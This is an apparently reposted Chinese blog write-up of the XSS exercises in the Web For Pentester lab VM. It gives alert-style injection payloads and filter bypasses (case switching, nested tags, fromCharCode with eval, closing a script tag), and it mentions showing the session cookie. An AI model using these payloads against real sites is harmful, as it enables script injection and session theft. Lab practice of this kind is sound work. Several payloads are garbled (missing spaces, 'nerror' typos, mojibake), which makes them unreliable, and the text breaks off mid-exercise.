Web For Pentester靶机里面的XSS题目(转-hexo博客:http://www.sqlsec.com)

上一篇 / 下一篇  2017-09-14 11:57:48 / 个人分类:web测试

本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目。
关于靶机搭建参考这篇文章:渗透测试靶机的搭建

第1题(无过滤措施)

首先在后面输入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下页面:
image
然后查看下源码:
image
感觉这里没有任何的防御措施,忍不住笑出了声。
image
有很多的标签里面都可以调用HTML的事件属性来弹窗,为了节约时间,下面我就列举出一些比较常用的手法。

利用基本的script标签来弹窗

Payload

<script>alert('xss')</script>

定义和用法

script. 标签用于定义客户端脚本,比如 JavaScript。

效果图

image

利用iframe标签的的src属性来弹窗

Payload

<iframesrc=javascript.:alert('xss')></iframe>

定义和用法

iframe. 元素会创建包含另外一个文档的内联框架(即行内框架)。

效果图

image

利用标签的href属性来弹窗

Payload

<ahref=javascript.:alert('xss')>ggtest</a>

这里就是超链接到了:javascript.:alert('xss')
效果和
浏览器直接打开这个地址:javascript.:alert('xss')是一样的
这里还可以使用:javascript.:alert(document.cookie) 来弹出当前会话的cookie
image

定义和用法

标签定义超链接,用于从一张页面链接到另一张页面。
元素最重要的属性是 href 属性,它指示链接的目标。
指向国光博客的一个例子:

<a href="http://git.sqlsec.com”>国光博客</a>

效果图

image

利用标签来弹窗

Payload

<imgsrc=1onerror=alert('xss')>

这里的src后面是填写的 是 图片的地址,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1,因为1不是一个正确的值,所以 触发了后面的 onerror事件(遇到错误 就触发)
image
当然如果在src里面填写一个正常的URL的话,就不会弹窗的了,因为onerror的触发条件是得报错。
image
src后面的值是正确的时候呢,这个还可以用 oneclick事件来触发弹窗

<imgsrc=http://www.sqlsec.com/favicon.icoonclick=alert('xss')>

这里不论src后面的值 是否正确,只要鼠标点击,就会触发 弹窗事件。
image
类似onerror和onclick的时间有很多种下面

列举出常见的事件

Windows事件属性

事件作用
onerror在错误发生时运行的脚本
onload页面结束加载之后触发

Keyboard 事件

事件作用
onkeydown在用户按下按键时触发
onkeypress在用户敲击按钮时触发
onkeyup当用户释放按键时触发

鼠标(Mouse)事件

事件作用
onclick元素上发生鼠标点击时触发
onmousedown当元素上按下鼠标按钮时触发
onmousemove当鼠标指针移动到元素上时触发。
onmouseover当鼠标指针移动到元素上时触
onmouseout当鼠标指针移出元素时触发
onmouseup当在元素上释放鼠标按钮时触发

定义和用法

img 元素向网页中嵌入一幅图像。
请注意,从技术上讲, 标签并不会在网页中插入图像,而是从网页上链接图像。 标签创建的是被引用图像的占位空间。
 标签有两个必需的属性:src 属性 和 alt 属性

凡是支持事件的HTML标签都是可以弹窗的,在HTML中支持事件属性的标签很多,下面我就

列举出一些支持事件的HTML常见标签

标签作用
a定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标
article规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发
audio定义声音,比如音乐或其他音频流
b规定粗体文本
body定义文档的主体,包含文档的所有内容
br只是简单地开始新的一行
button定义一个按钮
iframe会创建包含另外一个文档的内联框架
img向网页中嵌入一幅图像
select可创建单选或多选菜单
style用于为 HTML 文档定义样式信息
textarea标签定义多行的文本输入控件
video定义视频,比如电影片段或其他视频流

第一题因为没有任何的过滤,所以理论上支持调用HTML事件属性的标签都是可以成功弹窗的,下面来个

综合点的payload

http://10.211.55.16/xss/example1.php?name=<buttontype="button"onclick=alert('xss')>通过按钮点击触发xss</button><fontsize="4"color="blue"onmouseover=alert('xss')>移动到元素触发xss</font><br><select><optiononclick=alert('x')>onclick点击触发事件</option><optionvalues=1onmousedown=alert('ss')>onmousedown触发</option></select><ahref=javascript.:alert('xss')>利用a标签的href属性触发</a><br><textareaplaceholder=国光的xss测试:键盘按键触发xssonkeypress=alert('xss')></textarea>

image

第2题(大小写转换)

这一题的话, 除了<script>alert('xss')</script>这个payload,其他用第一题中的其他payload:

<iframesrc=javascript.:alert('xss')></iframe><ahref=javascript.:alert('xss')>ggtest</a><imgsrc=1onerror=alert('xss')>...

依然还是可以的,好吧,为了不这么容易做完这道题目,我们来下面的题目都尽量使用<script>alert('xss')</script>来试试看
image
查看下源码:
image
这里我们猜测过滤<script></script>
然后这里尝试下大小写转换,尝试着绕过过滤:

<Script>alert('xss')</scripT>

可以看到成功绕过了:
image

第3题(嵌套构造)

直接输入

<Script>alert('xss')</scripT>

发现大小写转换的这个套路已经不能够使用了
image
得到结论是:没有过**ert('xss'),现在就把注意力集中在 <script> 和</script>
Fuzz测试一下,看看具体过滤了哪些字符?然后再想办法绕过。

http://10.211.55.16/xss/example3.php?name=<></>script<script>

image
可以看出过滤了:</script><script>
尝试构造输入:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>

image
查看源码后发现成功构造出
<script>
于是判断这里只顾虑了一次,接着尝试构造如下完整的payload:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>
image

第4题(利用标签绕过)

直接输入:<script>alert('xss')</script>发现直接 error 了
于是再次出尝试输入:
http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>
image
再次得出结论:没有过滤<> </> alerrt('xss'),现在主要想办法对script做个处理来绕过过滤。
然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,=
哎~~~放弃用这种形式的<script>alert('xss')</script>的payload了,于是乎使用下面的<img>标签成功绕过:
<img src=1 nerror=alert('xss')>

第5题(String.fromCharCode编码绕过)

首先执行:
<script>alert('xss')</script>
发现直接就 报 error了,于是fuzz测试发现并没有过滤:<script></script>
只是过滤了:alert
利用火狐浏览器的hackbar插件对alert('xss')进行String.fromCharCode转换:

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>
image

第6题(闭合标签)

首先默认查看下源码:
image
发现我们输出的hacker作为了一个变量赋值给**⑶艺飧霰淞吭�<script>这个标签中
这样的话,只要能够突破这个赋值的变量,就可以利用这个<script>这个标签来弹窗了。
下面想办法闭合进行fuzz测试......
这里边看源码边做调整。几次测试后得到如下可以弹窗的payload:
11";</script><img src=1 nerror=alert('xss')><script>
image
来查看下源码来简单的分析一下:

Hello<script>var$a="11";</script><imgsrc=1onerror=alert('xss')><script>";</script><footer><p>&copy; PentesterLab 2013</p></footer>

pauyload最前面的
11";</script> 闭合了前面的<script>标签
最后面的
<script> 闭合了后面的<script>标签
中间的

<imgsrc=1onerror=alert('xss')>

用来触发 弹窗事件

第7题

首先来查看下源码:
image
感觉貌似和第6题差不多,于是稍微修改了下使用下面的payload来进行测试:

hacker';</script><img src=1 nerror=alert('xss')><script>

结果并没有弹窗,赶紧查看下源码压压惊:
image
可以看到对输入的 <


TAG:

 

评分:0

我来说两句

我的栏目

日历

« 2024-04-18  
 123456
78910111213
14151617181920
21222324252627
282930    

我的存档

数据统计

  • 访问量: 2293
  • 日志数: 2
  • 建立时间: 2017-09-14
  • 更新时间: 2017-09-14

RSS订阅

Open Toolbar